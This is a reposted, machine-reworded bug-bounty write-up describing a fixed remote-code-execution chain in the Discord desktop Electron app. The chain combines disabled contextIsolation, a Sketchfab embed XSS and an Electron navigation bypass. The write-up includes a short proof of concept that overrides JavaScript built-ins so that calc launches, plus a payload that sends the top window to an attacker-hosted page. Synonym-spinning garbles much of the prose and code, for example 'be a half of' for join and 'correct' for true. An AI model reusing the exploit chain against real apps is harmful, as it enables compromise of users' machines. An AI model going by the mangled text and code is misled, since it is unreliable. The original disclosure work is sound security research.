GistTree.Com
Entertainment at it's peak. The news is by your side.

Discord Desktop App RCE

0

About a months ago, I realized code execution subject within the Discord desktop software program and I reported it by contrivance of their Worm Bounty Program.

The RCE I realized became an arresting one because it’s accomplished by combining loads of bugs. In this article, I’d are attempting to fragment the diminutive print.

Why I selected Discord for the purpose

I style of felt love finding for vulnerabilities of the Electron app, so I became shopping for a worm bounty program which pays the bounty for an Electron app and I realized Discord. Also, I am a Discord person and merely wished to take a look at if the app I am the utilization of is stable, so I sure to study.

Bugs I realized

Most frequently I realized the following three bugs and accomplished RCE by combining them.

  1. Lacking contextIsolation
  2. XSS in iframe embeds
  3. Navigation restriction bypass (CVE-2020-15174)

I may contemporary these bugs one after the opposite.

Lacking contextIsolation

When I take a look at Electron app, first I in any appreciate times take a look at the selections of the BrowserWindow API, which is earlier to invent a browser window. By checking it, I train about how RCE would be accomplished when arbitrary JavaScript execution on the renderer is feasible.

The Discord’s Electron app isn’t an open supply venture however the Electron’s JavaScript code is saved within the neighborhood with the asar layout and I became ready to read it correct by extracting it.

In the vital window, the following solutions are earlier: 

const mainWindowOptions = {

  title: ‘Discord’,

  backgroundColor: getBackgroundColor(),

  width: DEFAULT_WIDTH,

  height: DEFAULT_HEIGHT,

  minWidth: MIN_WIDTH,

  minHeight: MIN_HEIGHT,

  clear: false,

  physique: false,

  resizable: correct,

  expose: isVisible,

  webPreferences: {

    blinkFeatures: ‘EnumerateDevices,AudioOutputDevices’,

    nodeIntegration: false,

    preload: _path2.default.be a half of(__dirname, ‘mainScreenPreload.js’),

    nativeWindowOpen: correct,

    enableRemoteModule: false,

    spellcheck: correct

  }

};

The most significant solutions which we have to take a look at listed below are notably nodeIntegration and contextIsolation. From the above code, I realized that the nodeIntegration risk is determined to false and the contextIsolation risk is determined to false (the default of the earlier version) within the Discord’s vital window.

If the nodeIntegration is determined to correct, a websites’s JavaScript can exercise Node.js aspects without disaster correct by calling the require(). As an instance, be taught how to construct the calc software program on Dwelling windows is:

In this time, the nodeIntegration became region to false, so I could perhaps well well maybe not exercise Node.js aspects by calling the require() straight.

On the change hand, there is light a risk of win admission to to Node.js aspects. The contextIsolation, one other most significant risk, became region to false. This risk have to not ever be region to false whenever you happen to would are attempting to win rid of the change of RCE to your app.

If the contextIsolation is disabled, a websites’s JavaScript can have an effect on the execution of the Electron’s interior JavaScript code on the renderer, and preload scripts (In the following, these JavaScript will be referred to because the JavaScript code out of doorways online pages). As an instance, whenever you happen to override  Array.prototype.be a half of, one amongst the JavaScript constructed-in strategies, with one other characteristic from a websites’s JavaScript, the JavaScript code out of doorways online pages furthermore will exercise the overridden characteristic when the be a half of is believed as.

This habits is unhealthy because Electron enables the JavaScript code out of doorways online pages to make exercise of the Node.js aspects regardless the nodeIntegration risk and by interfering with them from the characteristic overridden within the win page, it’s a ways likely to be doable to enact RCE even though the nodeIntegration is determined to false.

By the contrivance in which, a such trick became previously not acknowledged. It became first realized in a pentest by Remedy53, which I furthermore joined in, in 2016. After that, we reported it to Electron personnel and the contextIsolation became launched.

Recently, that pentest describe became revealed. If you’re interested, you may perhaps well well maybe maybe also read it from the following hyperlink:

Pentest-Describe Ethereum Mist 11.2016 – 10.2017

https://power.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/look

You doubtlessly can furthermore read the slides which I earlier at a CureCon occasion:

The contextIsolation introduces the separated contexts between the win page and the JavaScript code out of doorways online pages so that the JavaScript execution of each and every code would not have an effect on each and every. Here’s a crucial faeture to win rid of the change of RCE, but this time it became disabled in Discord.

Now I realized that the contextIsolation is disabled, so I started shopping for a keep of residing the keep I could perhaps well well maybe construct arbitrary code by interfering with the JavaScript code out of doorways online pages.

Most frequently, after I invent a PoC for RCE within the Electron’s pentests, I first are attempting and enact RCE by the utilization of the Electron’s interior JavaScript code on the renderer. Here’s for the reason that Electron’s interior JavaScript code on the renderer would be executed in any Electron app, so customarily I can reuse the identical code to enact RCE and it be clear-crop.

In my slides, I launched that RCE would be accomplished by the utilization of the code which Electron executes on the navigation timing. Or not it’s not most fantastic doable from that code but there are such code in some locations. (I’d are attempting to submit examples of the PoC within the prolonged flee.)

On the change hand, reckoning on the version of Electron earlier, or the BrowserWindow risk which is determined, for the reason that code has been modified or the affected code can’t be reached precisely, customarily PoC by contrivance of the Electron’s code would not work effectively. In this time, it failed to work, so I sure to alternate the purpose to the preload scripts.

When checking the preload scripts, I realized that Discord exposes the characteristic, which enables some allowed modules to be known as by contrivance of DiscordNative.nativeModules.requireModule('MODULE-NAME'), into the win page.

Here, I could perhaps well well maybe not exercise modules that would be earlier for RCE straight, such as child_process module, but I realized a code the keep RCE would be accomplished by overriding the JavaScript constructed-in strategies and interfering with the execution of the exposed module.

The following is the PoC. I became ready to substantiate that the calc software program is popped up after I name the getGPUDriverVersions characteristic which is defined within the module known as “discord_utils” from devTools, whereas overriding the RegExp.prototype.take a look at and Array.prototype.be a half of.

RegExp.prototype.take a look at=characteristic(){

    return false;

}

Array.prototype.be a half of=characteristic(){

    return “calc”;

}

DiscordNative.nativeModules.requireModule(‘discord_utils’).getGPUDriverVersions();

The getGPUDriverVersions characteristic tries to construct this scheme by the utilization of the “execa” library, love the following:

module.exports.getGPUDriverVersions = async () => {

  if (route of.platform !== ‘enjoy32’) {

    return {};

  }

  const consequence = {};

  const nvidiaSmiPath = `${route of.env[‘ProgramW6432’]}/NVIDIA Company/NVSMI/nvidia-smi.exe`;

  are attempting {

    consequence.nvidia = parseNvidiaSmiOutput(look forward to execa(nvidiaSmiPath, []));

  } own (e) {

    consequence.nvidia = {error: e.toString()};

  }

  return consequence;

};

Most frequently the execa tries to construct “nvidia-smi.exe“, which is specified within the nvidiaSmiPath variable, on the change hand, due to the overridden RegExp.prototype.take a look at and Array.prototype.be a half of, the argument is modified to “calc” within the execa‘s interior processing.

Particularly, the argument is modified by changing the following two parts.

https://github.com/moxystudio/node-inferior-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-inferior-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

The final work is to rep a capacity to construct JavaScript on the software program. If I can rep it, it leads to exact RCE.

XSS in iframe embeds

As defined above, I realized that RCE may perhaps well well maybe happen from arbitrary JavaScript execution, so I became looking for an XSS vulnerability. The app supports the autolink or Markdown characteristic, but regarded love it’s correct. So I turned my consideration to the iframe embeds characteristic. The iframe embeds is the characteristic which mechanically shows the video participant on the chat when the YouTube URL is posted, as an instance.

When the URL is posted, Discord tries to win the OGP recordsdata of that URL and if there is the OGP recordsdata, it shows the page’s title, description, thumbnail image, associated video and heaps others within the chat.

The Discord extracts the video URL from the OGP and most fantastic if the video URL is allowed enviornment and the URL has in reality the URL layout of the embeds page, the URL is embedded within the iframe.

I could perhaps well well maybe not rep the documentation about which services would be embedded within the iframe, so I tried to win a hint by checking the CSP’s physique-src directive. In the meanwhile, the following CSP became earlier:

Assert material-Security-Coverage: […] ; physique-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://participant.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.win/recaptcha/ https://js.stripe.com https://property.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com

Clearly, some of them are listed to enable iframe embeds (e.g. YouTube, Twitch, Spotify). I tried to take a look at if the URL would be embeded within the iframe by specifying the enviornment into the OGP recordsdata one after the opposite and tried to rep XSS on the embedded domains. After some attempts, I realized that the sketchfab.com, which is one amongst the domains listed within the CSP, would be embedded within the iframe and realized XSS on the embeds page. I didn’t know about Sketchfab at that time, but it undoubtedly sounds as if it’s a ways a platform wherein customers can submit, own and sell 3D devices. There became a straightforward DOM-primarily based fully XSS within the footnote of the 3D model.

The following is the PoC, which has the crafted OGP. When I posted this URL to the chat, the Sketchfab became embedded into the iframe on the chat, and after a number of clicks on the iframe, arbitrary JavaScript became executed.

https://l0.cm/discord_rce_og.html



    

    

    […]

    

    

    

Ok, at last I realized an XSS, however the JavaScript is light executed on the iframe. Since Electron doesn’t load the “JavaScript code out of doorways online pages” into the iframe, so even though I override the JavaScript constructed-in strategies on the iframe, I cannot intervene with the Node.js’ severe parts. To enact RCE, we elect to win out of the iframe and construct JavaScript in a high-level having a peek context. This requires opening a brand contemporary window from the iframe or navigating the high window to one other URL from the iframe.

I checked the associated code and I realized the code to restrict navigations by the utilization of “contemporary-window” and “will-navigate” occasion within the code of the vital route of:

mainWindow.webContents.on(‘contemporary-window’, (e, windowURL, frameName, disposition, solutions) => {

  e.preventDefault();

  if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {

    popoutWindows.openOrFocusWindow(e, windowURL, frameName, solutions);

  } else {

    _electron.shell.openExternal(windowURL);

  }

});

[…]

mainWindow.webContents.on(‘will-navigate’, (evt, url) => {

  if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {

    evt.preventDefault();

  }

});

I believed this code can precisely prevent customers from opening the contemporary window or navigating the high window. On the change hand, I noticed the unexpected habits.

Navigation restriction bypass (CVE-2020-15174)

I believed the code is nice enough but I tried to take a look at that the high navigation from the iframe is blocked anyway. Then, surprisingly, the navigation became not blocked for some purpose. I anticipated that the strive is catched by the “will-navigate” occasion earlier than the navigation occurs and refused by the preventDefault(), but isn’t.

To envision this habits, I created a diminutive Electron app. And I realized that the “will-navigate” occasion isn’t emitted from the high navigation started from an iframe for some purpose. To be exact, if the high’s foundation and iframe’s foundation is within the identical-foundation, the occasion is emitted but when it’s within the diversified foundation, the occasion isn’t emitted. I didn’t train that there is a a sound rationalization for this habits, so I believed right here’s an Electron’s worm and decided to describe back to Electron personnel later.

With the support of this worm, I became ready to avoid the navigation restriction. The last ingredient I have to enact is correct a navigation to the page which contains the RCE code by the utilization of the iframe’s XSS, love high.space="//l0.cm/discord_calc.html".

In this contrivance, by combining with three bugs, I became ready to enact RCE as shown within the video below.

In the tip

These issues had been reported by contrivance of Discord’s Worm Bounty Program. First, Discord personnel disabled the Sketchfab embeds, and a workaround became taken to stop navigation from the iframe by including the sandbox attribute to the iframe. After a whereas, the contextIsolation became enabled. Now even though I could perhaps well well maybe construct arbitrary JavaScript on the app, RCE would not occur by contrivance of the overridden JavaScript constructed-in strategies. I obtained $5,000 as a reward for this discovery.

The XSS on Sketchfab became reported by contrivance of Sketchfab’s Worm Bounty Program and mounted by Sketchfab developers immediate. I obtained $300 as a reward for this discovery.

The worm within the “will-navigate” occasion became reported as a worm of Electron to Electron’s security personnel, and it became mounted because the following vulnerability (CVE-2020-15174).

Unpreventable high-level navigation · Advisory · electron/electron

https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

That is it. Personally, I love that the out of doorways page’s worm or Electron’s worm, which is unrelated to the app itself’s implementation, led to RCE 🙂

I hope this article helps you enjoy your Electron apps stable.

Thanks for reading!

Read More

Leave A Reply

Your email address will not be published.